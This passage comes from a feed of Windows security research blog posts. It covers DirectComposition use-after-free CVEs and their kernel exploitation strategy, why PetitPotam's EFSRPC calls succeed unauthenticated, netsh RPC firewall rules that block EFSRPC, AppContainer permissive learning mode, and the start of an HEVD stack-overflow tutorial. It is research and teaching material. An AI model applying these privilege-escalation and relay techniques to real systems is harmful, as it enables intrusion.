Therefore, by setting entry_id=0 manually, the status of tracker->binding == NULL can be obtained, which can be used to bypass the CVE-2020-1381 patch.

Construct an input command buffer which can trigger the vulnerability as follows:
avatar

After setting entry_id=0 manually, the memory layout of binding1 and tracker1:
avatar

At this time, binding1->TrackerEntry still saves the pointer of tracker1, but tracker1->binding = NULL. Memory layout after ReleaseResource tracker1: avatar

It can be seen that after ReleaseResource tracker1, binding1->track_list[0] saves the dangling pointer of tracker1.

CVE-2021-26868

Retrospective the method in CVE-2021-26900 which sets entry_id=0 manually to get tracker->binding == NULL status to bypass the CVE-2020-1381 patch and the process of CInteractionTrackerMarshaler::ReleaseAllReferences:ReleaseAllReferences which checks that if the tracker object has a binding object, and then deletes the corresponding TrackerEntry.

So when entry_id is set to 0 manually, tracker->binding will be set to NULL. When the tracker object is released via ReleaseResource command, the TrackerEntry saved by the binding object will not be deleted, then a dangling pointer of the tracker object will be obtained again.

Construct an input command buffer which can trigger the vulnerability as follows:
avatar

Memory layout after ReleaseResource tracker1:
avatar

It can be seen that after ReleaseResource tracker1, binding1->track_list[0] saves the dangling pointer of tracker1.

CVE-2021-33739

CVE-2021-33739 is different from the vulnerability in win32kbase.sys introduced in previous sections. It is a UAF vulnerability in dwmcore.dll of the dwm.exe process. The root cause is in ReleaseResource phase of CloseChannel. In CInteractionTrackerBindingManager::RemoveTrackerBinding function call, when the element Binding->hashmap(+0x40) is deleted, the hashmap is accessed directly without checking whether the Binding object is released, which causes the UAF vulnerability.

Construct an input command buffer which can trigger the vulnerability as follows:
avatar

According to the previous analysis, in the normal scenario of CInteractionTrackerBindingManagerMarshaler::SetBufferProperty function call, the Binding object should be bound with two different Tracker objects. However, if it is bound with the same Tracker object:

(1) Binding phase:
CInteractionTrackerBindingManager::ProcessSetTrackerBindingMode function is called to process binding opreation, which calls CInteractionTrackerBindingManager::AddOrUpdateTrackerBindings function internally to update Tracker->Binding (+0x278). When Tracker has already be bound with the current Binding object, the binding operation will not be repeated:
avatar

Therefore, if the same Tracker object is bound already, the Binding object will not be bound again, then the refcnt of the Binding object will only be increased by 1 finally: avatar

(2) Release phase:
After PreRender is finished, CComposition::CloseChannel will be called to close the Channel and release the Resource in the Resource HandleTable. The Binding object will be released firstly, at this time Binding->refcnt = 1:
avatar

Then the Tracker object will be released. CInteractionTrackerBindingManager::RemoveTrackerBindings will be called to release Tracker->Binding:
avatar

Three steps are included:
(1) Get the Tracker object from the TrackerEntry
(2) Erase the corresponding Tracker pointer from Binding->hashmap (+0x40)
(3) Remove Tracker->Binding (Binding->refcnt –) from the Tracker object

The key problem is: After completing the cleanup of the first Tracker object in TrackerEntry, the Binding object may be released already. When the second Tracker object is prepared to be cleared, because the Binding object has been released, the validity of the Binding object does not be checked before the Binding->hashmap is accessed again, which result in an access vialation exception:
avatar

Exploitation: Another way to occupy freed memory

For the kernel object UAF exploitation, according to the publicly available exploit samples[5], the Palette object is used to occupy the freed memory:
avatar

Use CInteractionTrackerBindingManagerMarshaler::EmitBoundTrackerMarshalerUpdateCommands function to access the placeholder objects:
avatar

The red box here is the virtual function CInteractionTrackerMarshaler::EmitUpdateCommands of tracker1, tracker2 object (vtable + 0x50). Because the freed Tracker object has been reused by Palette, the program execution flow hijacking is achieved by forging a virtual table and writing other function pointers to fake Tracker vtable+0x50.
The sample selects nt!SeSetAccessStateGenericMapping:
avatar

With the 16-byte write capability of nt!SeSetAccessStateGenericMapping, it modifies _KTHREAD->PreviousMode = 0 to inject shellcode into Winlogon process to complete the privilege escalation.

Another way to occupy freed memory

The exploitation of Palette object is relatively common, is there some object with user-mode controllable memory size in the DirectComposition component can be exploited?

The Binding object and Tracker object we discussed before are belonged to the Resource of DirectComposition. DirectComposition contains many Resource objects, which are created by DirectComposition::CApplicationChannel::CreateInternalResource:
avatar

Each Resource has a BufferProperty, which is set by SetResourceBufferProperty command. So our object is to find one Resource which can be used to allocate a user-mode controllable memory size through the SetResourceBufferProperty command. Through searching, I found CTableTransferEffectMarshaler::SetBufferProperty. The command format is as follows:
avatar

When subcmd==0, the bufferProperty is stored at CTableTransferEffectMarshaler+0x58. The size of the bufferProperty is set by the user-mode input bufferSize, and the content is copied from the user-mode input buffer:
avatar

Modify the original sample and use the propertyBuffer of CTableTransferEffectMarshaler to occupy freed memory:
avatar
avatar

By debugging, we can see that the propertyBuffer of CTableTransferEffectMarshaler occupies the freed memory successfully:
avatar

Finally, successful exploitation screenshot:
avatar

References

[1] https://docs.microsoft.com/en-us/windows/win32/directcomp/directcomposition-portal
[2] https://www.zerodayinitiative.com/blog/2021/5/3/cve-2021-26900-privilege-escalation-via-a-use-after-free-vulnerability-in-win32k
[3] https://github.com/thezdi/PoC/blob/master/CVE-2021-26900/CVE-2021-26900.c
[4] https://ti.dbappsecurity.com.cn/blog/articles/2021/06/09/0day-cve-2021-33739/
[5] https://github.com/Lagal1990/CVE-2021-33739-POC

How to secure a Windows RPC Server, and how not to.

By: tiraniddo
15 August 2021 at 02:04

The PetitPotam technique is still fresh in people's minds. While it's not directly an exploit it's a useful step to get unauthenticated NTLM from a privileged account to forward to something like the AD CS Web Enrollment service to compromise a Windows domain. Interestingly after Microsoft initially shrugged about fixing any of this they went and released a fix, although it seems to be insufficient at the time of writing.

While there's plenty of details about how to abuse the EFSRPC interface, there's little on why it's exploitable to begin with. I thought it'd be good to have a quick overview of how Windows RPC interfaces are secured and then by extension why it's possible to use the EFSRPC interface unauthenticated. 

Caveat: No doubt I might be missing other security checks in RPC, these are the main ones I know about :-)

RPC Server Security

The server security of RPC is one which has seemingly built up over time. Therefore there's various ways of doing it, and some ways are better than others. There are basically three approaches, which can be mixed and matched:
  1. Securing the endpoint
  2. Securing the interface
  3. Ad-hoc security
Let's take each one in turn to determine how each one secures the RPC server.

Securing the Endpoint

You register the endpoint that the RPC server will listen on using the RpcServerUseProtseqEp API. This API takes the type of endpoint, such as ncalrpc (ALPC), ncacn_np (named pipe) or ncacn_ip_tcp (TCP socket) and creates the listening endpoint. For example the following would create a named pipe endpoint called DEMO.

RpcServerUseProtseqEp(
    L"ncacn_np",
    RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
    L"\\pipe\\DEMO",
    nullptr);

The final parameter is optional but represents a security descriptor (SD) you assign to the endpoint to limit who has access. This can only be enforced on ALPC and named pipes as something like a TCP socket doesn't (technically) have an access check when it's connected to. If you don't specify an SD then a default is assigned. For a named pipe the default DACL grants the following uses write access:
  • Everyone
  • NT AUTHORITY\ANONYMOUS LOGON
  • SELF
Where SELF is the creating user's SID. This is a pretty permissive SD. One interesting thing about RPC endpoints is they are multiplexed. You don't explicit associate an endpoint with the RPC interface you want to access. Instead you can connect to any endpoint that the process has created. The end result is that if there's a less secure endpoint in the same process it might be possible to access an interface using the least secure one. In general this makes relying on endpoint security risky, especially in processes which run multiple services, such as LSASS. In any case if you want to use a TCP endpoint you can't rely on the endpoint security as it doesn't exist.

Securing the Interface

The next way of securing the RPC server is to secure the interface itself. You register the interface structure that was generated by MIDL using one of the following APIs:
Each has a varying number of parameters some of which determine the security of the interface. The latest APIs are RpcServerRegisterIf3 and RpcServerInterfaceGroupCreate which were introduced in Windows 8. The latter is just a way of registering multiple interfaces in one call so we'll just focus on the former. The RpcServerRegisterIf3 has three parameters which affect security, SecurityDescriptor, IfCallback and Flags. 

The SecurityDescriptor parameter is easiest to explain. It assigns an SD to the interface, when a call is made on that interface then the caller's token is checked against the SD and access is only granted if the check passes. If no SD is specified a default is used which grants the following SIDs access (assuming a non-AppContainer process)
  • NT AUTHORITY\ANONYMOUS LOGON
  • Everyone
  • NT AUTHORITY\RESTRICTED
  • BUILTIN\Administrators
  • SELF
The token to use for the access check is based either on the client's authentication (we'll discuss this later) or the authentication for the endpoint. ALPC and named pipe are authenticated transports, where as TCP is not. When using an unauthenticated transport the access check will be against the anonymous token. This means if the SD does not contain an allow ACE for ANONYMOUS LOGON it will be blocked.

Note, due to a quirk of the access check process the RPC runtime grants access if the caller has any access granted, not a specific access right. What this means is that if the caller is considered the owner, which is normally set to the creating user SID they might only be granted READ_CONTROL but that's sufficient to bypass the check. This could also be useful if the caller has SeTakeOwnershipPrivilege or similar as it'd be possible to generically bypass the interface SD check (though of course that privilege is dangerous in its own right).

The second parameter, IfCallback, takes an RPC_IF_CALLBACK function pointer. This callback function will be invoked when a call is made to the interface, although it will be called after the SD is checked. If the callback function returns RPC_S_OK then the call will be allowed, anything else will deny the call. The callback gets a pointer to the interface and the binding handle and can do various checks to determine if the caller is allowed to access the interface.

A common check is for the client's authentication level. The client can specify the level to use when connecting to the server using the RpcBindingSetAuthInfo API however the server can't directly specify the minimum authentication level it accepts. Instead the callback can use the RpcBindingInqAuthClient API to determine what the client used and grant or deny access based on that. The authentication levels we typically care about are as follows:
  • RPC_C_AUTHN_LEVEL_NONE - No authentication
  • RPC_C_AUTHN_LEVEL_CONNECT - Authentication at connect time, but not per-call.
  • RPC_C_AUTHN_LEVEL_PKT_INTEGRITY - Authentication at connect time, each call has integrity protection.
  • RPC_C_AUTHN_LEVEL_PKT_PRIVACY - Authentication at connect time, each call is encrypted and has integrity protection.
The authentication is implemented using a defined authentication service, such as NTLM or Kerberos, though that doesn't really matter for our purposes. Also note that this is only used for RPC services available over remote protocols such as named pipes or TCP. If the RPC server listens on ALPC then it's assumed to always be RPC_C_AUTHN_LEVEL_PKT_PRIVACY. Other checks the server could do would be the protocol sequence the client used, this would allow rejecting access via TCP but permit named pipes.

The final parameter is the flags. The flag most obviously related to security is RPC_IF_ALLOW_SECURE_ONLY (0x8). This blocks access to the interface if the current authentication level is RPC_C_AUTHN_LEVEL_NONE. This means the caller must be able to authenticate to the server using one of the permitted authentication services. It's not sufficient to use a NULL session, at least on any modern version of Windows. Of course this doesn't say much about who has authenticated, a server might still want to check the caller's identity.

The other important flag is RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH (0x10). If the server specifies a security callback and this flag is not set then any unauthenticated client will be automatically rejected. 

If this wasn't complex enough there's at least one other related setting which applies system wide which will determine what type of clients can access what RPC server. The Restrict Unauthenticated RPC Clients group policy. By default this is set to None if the RPC server is running on a server SKU of Windows and Authenticated on a client SKU. 

In general what this policy does is limit whether a client can use an unauthenticated transport such as TCP when they haven't also separately authenticated to an valid authentication level. When set to None RPC servers can be accessed via an unauthenticated transport subject to any other restrictions the interface is registered with. If set to Authenticated then calls over unauthenticated transports are rejected, unless the RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag is set for the interface or the client has authenticated separately. There's a third option, Authenticated without exceptions, which will block the call in all circumstances if the caller isn't using an authenticated transport. 

Ad-hoc Security

The final types of checks are basically anything else the server does to verify the caller. A common approach would be to perform a check within a specific function on the interface. For example, a server could generally allow unauthenticated clients, except when calling a method to read a important secret value. At that point is could insert an authentication level check to ensure the client has authenticated at RPC_C_AUTHN_LEVEL_PKT_PRIVACY so that the secret will be encrypted when returned to the client. 

Ultimately you'll have to check each function you're interested in to determine what, if any, security checks are in place. As with all ad-hoc checks it's possible that there's a logic bug in there which can be exploited to bypass the security restrictions.

Digging into EFSRPC

Okay, that covers the basics of how an RPC server is secured. Let's look at the specific example of the EFSRPC server abused by PetitPotam. Oddly there's two implementation of the RPC server, one in efslsaext.dll which the interface UUID of c681d488-d850-11d0-8c52-00c04fd90f7e and one in efssvc.dll with the interface UUID of df1941c5-fe89-4e79-bf10-463657acf44d. The one in efslsaext.dll is the one which is accessible unauthenticated, so let's start there. We'll go through the three approaches to securing the server to determine what it's doing.

First, the server does not register any of its own protocol sequences, with SDs or not. What this means is who can call the RPC server is dependent on what other endpoints have been registered by the hosting process, which in this case is LSASS.

Second, checking the for calls to one of the RPC server interface registration functions there's a single call to RpcServerRegisterIfEx in InitializeLsaExtension. This allows the caller to specify the security callback but not an SD. However in this case it doesn't specify any security callback. The InitializeLsaExtension function also does not specify either of the two security flags (it sets RPC_IF_AUTOLISTEN which doesn't have any security impact). This means that in general any authenticated caller is permitted.

Finally, from an ad-hoc security perspective all the main functions such as EfsRpcOpenFileRaw call the function EfsRpcpValidateClientCall which looks something like the following (error check removed).

void EfsRpcpValidateClientCall(RPC_BINDING_HANDLE Binding, 
                               PBOOL ValidClient) {
  unsigned int ClientLocalFlag;
  I_RpcBindingIsClientLocal(NULL, &ClientLocalFlag);
  if (!ClientLocalFlag) {
    RPC_WSTR StringBinding;
    RpcBindingToStringBindingW(Binding, &StringBinding);
    RpcStringBindingParseW(StringBinding, NULL, &Protseq, 
                           NULL, NULL, NULL);
    if (CompareStringW(LOCALE_INVARIANT, NORM_IGNORECASE, 
        Protseq, -1, L"ncacn_np", -1) == CSTR_EQUAL)
        *ValidClient = TRUE;
    }
  }
}

Basically the ValidClient parameter will only be set to TRUE if the caller used the named pipe transport and the pipe wasn't opened locally, i.e. the named pipe was opened over SMB. This is basically all the security that's being checked for. Therefore the only security that could be enforced is limited by who's allowed to connect to a suitable named pipe endpoint.

At a minimum LSASS registers the \pipe\lsass named pipe endpoint. When it's setup in lsasrv.dll a SD is defined for the named pipe that grants the following users access:
  • Everyone
  • NT AUTHORITY\ANONYMOUS LOGON
  • BUILTIN\Administrators
Therefore in theory the anonymous user has access to the pipe, and as there are no other security checks in place in the interface definition. Now typically anonymous access isn't granted by default to named pipes via a NULL session, however domain controllers have an exception to this policy through the configured Network access: Named Pipes that can be accessed anonymously security option. For DCs this allows lsarpc, samr and netlogon pipes, which are all aliases for the lsass pipe, to be accessed anonymously.

You can now understand why the EFS RPC server is accessible anonymously on DCs. How does the other EFS RPC server block access? In that case it specifies an interface SD to limit access to only the Everyone group and BUILTIN\Administrators. By default the anonymous user isn't a member of Everyone (although it can be configured as such) therefore this blocks access even if you connected via the lsass pipe.

The Fix is In

What did Microsoft do to fix PetitPotam? One thing they definitely didn't do is change the interface registration or the named pipe endpoint security. Instead they added an additional ad-hoc check to EfsRpcOpenFileRaw. Specifically they added the following code:

DWORD AllowOpenRawDL = 0;
RegGetValueW(
  HKEY_LOCAL_MACHINE,
  L"SYSTEM\\CurrentControlSet\\Services\\EFS",
  L"AllowOpenRawDL",
  RRF_RT_REG_DWORD | RRF_ZEROONFAILURE,
  NULL,
  &AllowOpenRawDL);
if (AllowOpenRawDL == 1 && 
    !EfsRpcpValidateClientCall(hBinding, &ValidClient) && ValidClient) {
  // Call allowed.
}

Basically unless the AllowOpenRawDL registry value is set to one then the call is blocked entirely regardless of the authenticating client. This seems to be a perfectly valid fix, except that EfsRpcOpenFileRaw isn't the only function usable to start an NTLM authentication session. As pointed out by Lee Christensen you can also do it via EfsRpcEncryptFileSrv or EfsRpcQueryUsersOnFile or others. Therefore as no other changes were put in place these other functions are accessible just as unauthenticated as the original.

It's really unclear how Microsoft didn't see this, but I guess they might have been blinded by them actually fixing something which they were adamant was a configuration issue that sysadmins had to deal with. 

UPDATE 2021/08/17: It's worth noting that while you can access the other functions unauthenticated it seems any network access is done using the "authenticated" caller, i.e. the ANONYMOUS user so it's probably not that useful. The point of this blog is not about abusing EFSRPC but why it's abusable :-)

Anyway I hope that explains why PetitPotam works unauthenticated (props to topotam77 for the find) and might give you some insight into how you can determine what RPC servers might be accessible going forward. 

How the Windows Firewall RPC Filter Works

By: tiraniddo
22 August 2021 at 05:32

I did promise that I'd put out a blog post on how the Windows RPC filter works. Now that I released my more general blog post on the Windows firewall I thought I'd come back to a shorter post about the RPC filter itself. If you don't know the context, the Windows firewall has the ability to restrict access to RPC interfaces. This is interesting due to the renewed interest in all things RPC, especially the PetitPotam trick. For example you can block any access to the EFSRPC interfaces using the following script which you run with the netsh command.

rpc
filter
add rule layer=um actiontype=block
add condition field=if_uuid matchtype=equal data=c681d488-d850-11d0-8c52-00c04fd90f7e
add filter
add rule layer=um actiontype=block
add condition field=if_uuid matchtype=equal data=df1941c5-fe89-4e79-bf10-463657acf44d
add filter
quit

This script adds two rules which will block any calls on the RPC interfaces with UUIDs of c681d488-d850-11d0-8c52-00c04fd90f7e and df1941c5-fe89-4e79-bf10-463657acf44d. These correspond to the two EFSRPC interfaces.

How does this work within the context of the firewall? Does the kernel components of the Windows Filtering Platform have a builtin RPC protocol parser to block the connection? That'd be far too complex, instead everything is done in user-mode by some special layers. If you use NtObjectManager's firewall Get-FwLayer command you can check for layers registered to run in user-mode by filtering on the IsUser property.

PS> Get-FwLayer | Where-Object IsUser
KeyName                      Name
-------                      ----
FWPM_LAYER_RPC_PROXY_CONN    RPC Proxy Connect Layer
FWPM_LAYER_IPSEC_KM_DEMUX_V4 IPsec KM Demux v4 Layer
FWPM_LAYER_RPC_EP_ADD        RPC EP ADD Layer
FWPM_LAYER_KM_AUTHORIZATION  Keying Module Authorization Layer
FWPM_LAYER_IKEEXT_V4         IKE v4 Layer
FWPM_LAYER_IPSEC_V6          IPsec v6 Layer
FWPM_LAYER_IPSEC_V4          IPsec v4 Layer
FWPM_LAYER_IKEEXT_V6         IKE v6 Layer
FWPM_LAYER_RPC_UM            RPC UM Layer
FWPM_LAYER_RPC_PROXY_IF      RPC Proxy Interface Layer
FWPM_LAYER_RPC_EPMAP         RPC EPMAP Layer
FWPM_LAYER_IPSEC_KM_DEMUX_V6 IPsec KM Demux v6 Layer

In the output we can see 5 layers with RPC in the name of the layer. 
  • FWPM_LAYER_RPC_EP_ADD - Filter new endpoints created by a process.
  • FWPM_LAYER_RPC_EPMAP - Filter access to endpoint mapper information.
  • FWPM_LAYER_RPC_PROXY_CONN - Filter connections to the RPC proxy.
  • FWPM_LAYER_RPC_PROXY_IF - Filter interface calls through an RPC proxy.
  • FWPM_LAYER_RPC_UM - Filter interface calls to an RPC server
Each of these layers is potentially interesting, and you can add rules through netsh for all of them. But we'll just focus on how the FWPM_LAYER_RPC_UM layer works as that's the one the script introduced at the start works with. If you run the following command after adding the RPC filter rules you can view the newly created rules:

PS> Get-FwFilter -LayerKey FWPM_LAYER_RPC_UM -Sorted | Format-FwFilter
Name       : RPCFilter
Action Type: Block
Key        : d4354417-02fa-11ec-95da-00155d010a06
Id         : 78253
Description: RPC Filter
Layer      : FWPM_LAYER_RPC_UM
Sub Layer  : FWPM_SUBLAYER_UNIVERSAL
Flags      : Persistent
Weight     : 567453553048682496
Conditions :
FieldKeyName               MatchType Value
------------               --------- -----
FWPM_CONDITION_RPC_IF_UUID Equal     df1941c5-fe89-4e79-bf10-463657acf44d


Name       : RPCFilter
Action Type: Block
Key        : d4354416-02fa-11ec-95da-00155d010a06
Id         : 78252
Description: RPC Filter
Layer      : FWPM_LAYER_RPC_UM
Sub Layer  : FWPM_SUBLAYER_UNIVERSAL
Flags      : Persistent
Weight     : 567453553048682496
Conditions :
FieldKeyName               MatchType Value
------------               --------- -----
FWPM_CONDITION_RPC_IF_UUID Equal     c681d488-d850-11d0-8c52-00c04fd90f7e

If you're read my general blog post the output should made some sense. The FWPM_CONDITION_RPC_IF_UUID condition key is used to specify the UUID for the interface to match on. The FWPM_LAYER_RPC_UM has many possible fields to filter on, which you can query by inspecting the layer object's Fields property.

PS> (Get-FwLayer -Key FWPM_LAYER_RPC_UM).Fields

KeyName                              Type      DataType
-------                              ----      --------
FWPM_CONDITION_REMOTE_USER_TOKEN     RawData   TokenInformation
FWPM_CONDITION_RPC_IF_UUID           RawData   ByteArray16
FWPM_CONDITION_RPC_IF_VERSION        RawData   UInt16
FWPM_CONDITION_RPC_IF_FLAG           RawData   UInt32
FWPM_CONDITION_DCOM_APP_ID           RawData   ByteArray16
FWPM_CONDITION_IMAGE_NAME            RawData   ByteBlob
FWPM_CONDITION_RPC_PROTOCOL          RawData   UInt8
FWPM_CONDITION_RPC_AUTH_TYPE         RawData   UInt8
FWPM_CONDITION_RPC_AUTH_LEVEL        RawData   UInt8
FWPM_CONDITION_SEC_ENCRYPT_ALGORITHM RawData   UInt32
FWPM_CONDITION_SEC_KEY_SIZE          RawData   UInt32
FWPM_CONDITION_IP_LOCAL_ADDRESS_V4   IPAddress UInt32
FWPM_CONDITION_IP_LOCAL_ADDRESS_V6   IPAddress ByteArray16
FWPM_CONDITION_IP_LOCAL_PORT         RawData   UInt16
FWPM_CONDITION_PIPE                  RawData   ByteBlob
FWPM_CONDITION_IP_REMOTE_ADDRESS_V4  IPAddress UInt32
FWPM_CONDITION_IP_REMOTE_ADDRESS_V6  IPAddress ByteArray16

There's quite a few potential configuration options for the filter. You can filter based on the remote user token that's authenticated to the interface. Or you can filters based on the authentication level and type. This could allow you to protect an RPC interface so that all callers have to use Kerberos with at RPC_C_AUTHN_LEVEL_PKT_PRIVACY level. 

Anyway, configuring it is less important to us, you probably want to know how it works, as the first step to trying to find a way to bypass it is to know where this filter layer is processed (note, I've not found a bypass, but you never know). 

Perhaps unsurprisingly due to the complexity of the RPC protocol the filtering is implemented within the RPC server process through the RpcRtRemote extension DLL. Except for RPCSS this DLL isn't loaded by default. Instead it's only loaded if there exists a value for the WNF_RPCF_FWMAN_RUNNING WNF state. The following shows the state after adding the two RPC filter rules with netsh.

PS> $wnf = Get-NtWnf -Name 'WNF_RPCF_FWMAN_RUNNING'
PS> $wnf.QueryStateData()

Data ChangeStamp
---- -----------
{}             2

The RPC runtime sets up a subscription to load the DLL if the WNF value is ever changed. Once loaded the RPC runtime will register all current interfaces to check the firewall. The filter rules are checked when a call is made to the interface during the normal processing of the security callback. The runtime will invoke the FwFilter function inside RpcRtRemote, passing all the details about the firewall interface call. The filter call is only made for DCE/RPC protocols, so not ALPC. It also will only be called if the caller is remote. This is always the case if the call comes via TCP, but for named pipes it will only be called if the pipe was opened via SMB.

Here's where we can finally determine how the RPC filter is processed. The FwFilter function builds a list of firewall values corresponding to the list of fields for the FWPM_LAYER_RPC_UM layer and passes them to the FwpsClassifyUser0 API along with the numeric ID of the layer. This API will enumerate all filters for the layer and apply the condition checks returning the classification, e.g. block or permit. Based on this classification the RPC runtime can permit or refuse the call. 

In order for a filter to be accessible for classification the RPC server must have FWPM_ACTRL_OPEN access to the engine and FWPM_ACTRL_CLASSIFY access to the filter. By default the Everyone group has these access rights, however AppContainers and potentially other sandboxes do not. However, in general AppContainer processes don't tend to create privileged RPC servers, at least any which a remote attacker would find useful. You can check the access on various firewall objects using the Get-AccessibleFwObject command.

PS> $token = Get-NtToken -Filtered -Flags LuaToken
PS> Get-AccessibleFwObject -Token $token | Where-Object Name -eq RPCFilter

TokenId Access             Name
------- ------             ----
4ECF80  Classify|Open RPCFilter
4ECF80  Classify|Open RPCFilter

I hope this gives enough information for someone to dig into it further to see if there's any obvious bypass I missed. I'm sure there's probably some fun trick you could do to circumvent restrictions if you look hard enough :-)

LowBox Token Permissive Learning Mode

By: tiraniddo
7 September 2021 at 06:53

I was recently asked about this topic and so I thought it'd make sense to put it into a public blog post so that everyone can benefit. Windows 11 (and Windows Server 2022) has a new feature for tokens which allow the kernel to perform the normal LowBox access check, but if it fails log the error rather than failing with access denied. 

This feature allows you to start an AppContainer sandbox process, run a task, and determine what parts of that would fail if you actually tried to sandbox a process. This makes it much easier to determine what capabilities you might need to grant to prevent your application from crashing if you tried to actually apply the sandbox. It's a very useful diagnostic tool, although whether it'll be documented by Microsoft remains to be seen. Let's go through a quick example of how to use it.

First you need to start an ETW trace for the Microsoft-Windows-Kernel-General provider with the KERNEL_GENERAL_SECURITY_ACCESSCHECK keyword (value 0x20) enabled. In an administrator PowerShell console you can run the following:

PS> $name = 'AccessTrace'
PS> New-NetEventSession -Name $name -LocalFilePath "$env:USERPROFILE\access_trace.etl" | Out-Null
PS> Add-NetEventProvider -SessionName $name -Name "Microsoft-Windows-Kernel-General" -MatchAllKeyword 0x20 | Out-Null
PS> Start-NetEventSession -Name $name

This will start the trace session and log the events to access_trace.etl file if your home directory. As this is ETW you could probably do a real-time trace or enable stack tracing to find out what code is actually failing, however for this example we'll do the least amount of work possible. This log is also used for things like Adminless which I've blogged about before.

Now you need to generate some log events. You just need to add the permissiveLearningMode capability when creating the lowbox token or process. You can almost certainly add it to your application's manifest as well when developing a sandboxed UWP application, but we'll assume here that we're setting up the sandbox manually.

PS> $cap = Get-NtSid -CapabilityName 'permissiveLearningMode'
PS> $token = Get-NtToken -LowBox -PackageSid ABC -CapabilitySid $cap
PS> Invoke-NtToken $token { "Hello" | Set-Content "$env:USERPOFILE\test.txt" }

The previous code creates a lowbox token with the capability and writes to a file in the user's profile. This would normally fail as the user's profile doesn't grant any AppContainer access to write to it. However, you should find the write succeeded. Now, back in the admin PowerShell console you'll want to stop the trace and cleanup the session.

PS> Stop-NetEventSession -Name $name
PS> Remove-NetEventSession -Name $name

You should find an access_trace.etl file in your user's profile directory which will contain the logged events. There are various ways to read this file, the simplest is to use the Get-WinEvent command. As you need to do a bit of parsing of the contents of the log to get out various values I've put together a simple script do that. It's available on github here. Just run the script passing the name of the log file to convert the events into PowerShell objects.

PS> parse_access_check_log.ps1 "$env:USERPROFILE\access_trace.etl"
ProcessName        : ...\v1.0\powershell.exe
Mask               : MaximumAllowed
PackageSid         : S-1-15-2-1445519891-4232675966-...
Groups             : INSIDERDEV\user
Capabilities       : NAMED CAPABILITIES\Permissive Learning Mode
SecurityDescriptor : O:BAG:BAD:(A;OICI;KA;;;S-1-5-21-623841239-...

The log events don't seem to contain the name of the resource being opened, but it does contain the security descriptor and type of the object, what access mask was requested and basic information about the access token used. Hopefully this information is useful to someone.

HEVD StackOverflowGS x86 Win7 - exploitation analysis

5 October 2021 at 06:00

Introduction

This post is about kernel mode exploitation basics under Windows. It operates on assumptions that the reader is familiar with terms such as process, thread, user and kernel mode and the difference between user and kernel mode virtual address range. One could use this post as an introduction to HEVD.

Even though I came across at least one good write up about Hacksys Extreme Vulnerable Driver StackOverflowGS (https://klue.github.io/blog/2017/09/hevd_stack_gs/, highly recommend it), after reading it I still felt that I did not understand the entire exploitation process (did not notice the link to the source code at the time :D), so I fell back on the PoC provided by HEVD (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/StackOverflowGS.c), analyzed it and learned a few things, now I am just sharing my insights and tips.

Setup

There are numerous resources on how to set up Windows kernel debugging and install HEVD (e.g. https://hshrzd.wordpress.com/2017/05/28/starting-with-windows-kernel-exploitation-part-1-setting-up-the-lab/ and https://hshrzd.wordpress.com/2017/06/05/starting-with-windows-kernel-exploitation-part-2/).

I personally prefer using my host OS as the debugger and a VirtualBox VM as the debuggee (Windows 7, x86).

VM setting of the serial port for debugging

To attach to the VM, I run the following command (make sure windbg.exe is in your %PATH%):

windbg -k com:pipe,port=\.\pipe\com_1,resets=0,reconnect

When successfully attaching a debuggee, windbg output will look like this:

I myself have experienced issues when rebooting the debuggee (which happened a lot with all the crashes resulting from my attempts at exploitation) with windbg running; it just didn't want to attach to the named pipe and thus there was no connection between windbg and the debuggee. Also, trying to attach to a VM that was already running didn't work this way either. I figured that for me everything always works as should when I first boot the VM and then, once the OS loading progress bar pops up, I run the command to spawn windbg and make it connect to the named pipe created by VirtualBox.

Also, don't forget to load the symbols, e.g.:

.sympath C:\Users\ewilded\HACKING\VULNDEV\kernel\windows\HEVD\HEVD.1.20\drv\vulnerable\i386;SRVC:\SymbolsServerhttps://msdl.microsoft.com/download/symbols

The vulnerability

StackOverflowGS (code here https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/BufferOverflowStackGS.c) is a vanilla stack-based buffer overflow, just like StackOverflow (code here https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/BufferOverflowStack.c). The only difference is that in this case stack smashing is detected via a stack canary/stack cookie (a good introduction to the subject can be found here).

All HEVD exercises have the same structure and are all called in the same manner.

Whenever a user wants to interact with the module, they send the driver a data structure -  IRP (https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/i-o-request-packets). This data structure is our malicious input vector.

On line 128 of the HackSysExtremeVulnerableDriver.c main driver source file, we can see that IrpDeviceIoCtlHandler function is assigned to IRP_MJ_DEVICE_CONTROL packets:

That function can be found in the same file, starting with line 248:

Depending on the IOCTL code (an unsigned long integer argument, part of the IRP), IrpDeviceIoCtlHandler runs a different function:

Constants like HEVD_IOCTL_BUFFER_OVERFLOW_STACK are numeric variables predefined in HackSysExtremeVulnerableDriver.h.

So each exercise has its corresponding function with "IoctlHandler" suffix in its name (BufferOverflowStackIoctlHandler, BufferOverflowStackGSIoctlHandler and so on). Let's see what this function looks like in our case (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/BufferOverflowStackGS.c):

So there is another function, named TriggerBufferOverflowStackGS, run from BufferOverflowStackGSIoctlHandler. So the function call tree, starting from IrpDeviceIoCtlHandler, is now:

Finally, the function is pretty simple too:

UserBuffer is a pointer to the user mode memory block (valid in the address space of the process that is currently interacting with the driver). Kernel mode code will be reading data from this location.

Size is an integer telling HEVD how many bytes we want it to read from the UserBuffer memory block - and write to kernel memory, starting at KernelBuffer. KernelBuffer is a local variable (defined on line 72 visible in the screenshot above), so it resides on the stack.

Both the UserBuffer pointer and the Size are delivered with the IRP and controlled by the user mode program that created it and triggered an interrupt to communicate with this driver (we'll get to that code too, shortly).

Then we get to the bottom of this:

So basically it's a vanilla stack-based buffer overflow. We can overwrite KernelBuffer with UserBuffer, with Size bytes (we control both UserBuffer and Size).

Let's set up a breakpoint in windbg, at HEVD!TriggerStackOverflowGS:

By listing the breakpoint (bl) we can see the current kernel mode address of the function (87e3f8da), which will vary between platforms and system boots.

View the disassembly of the entire function we can notice two important points in the code:

First is our vulnerable memcpy call, the second is the SEH_epilog4_GS, the function responsible for checking the saved stack canary and preventing from normal returning if the stack was detected to be smashed (if the cookie doesn't match), aimed at preventing exploitation.

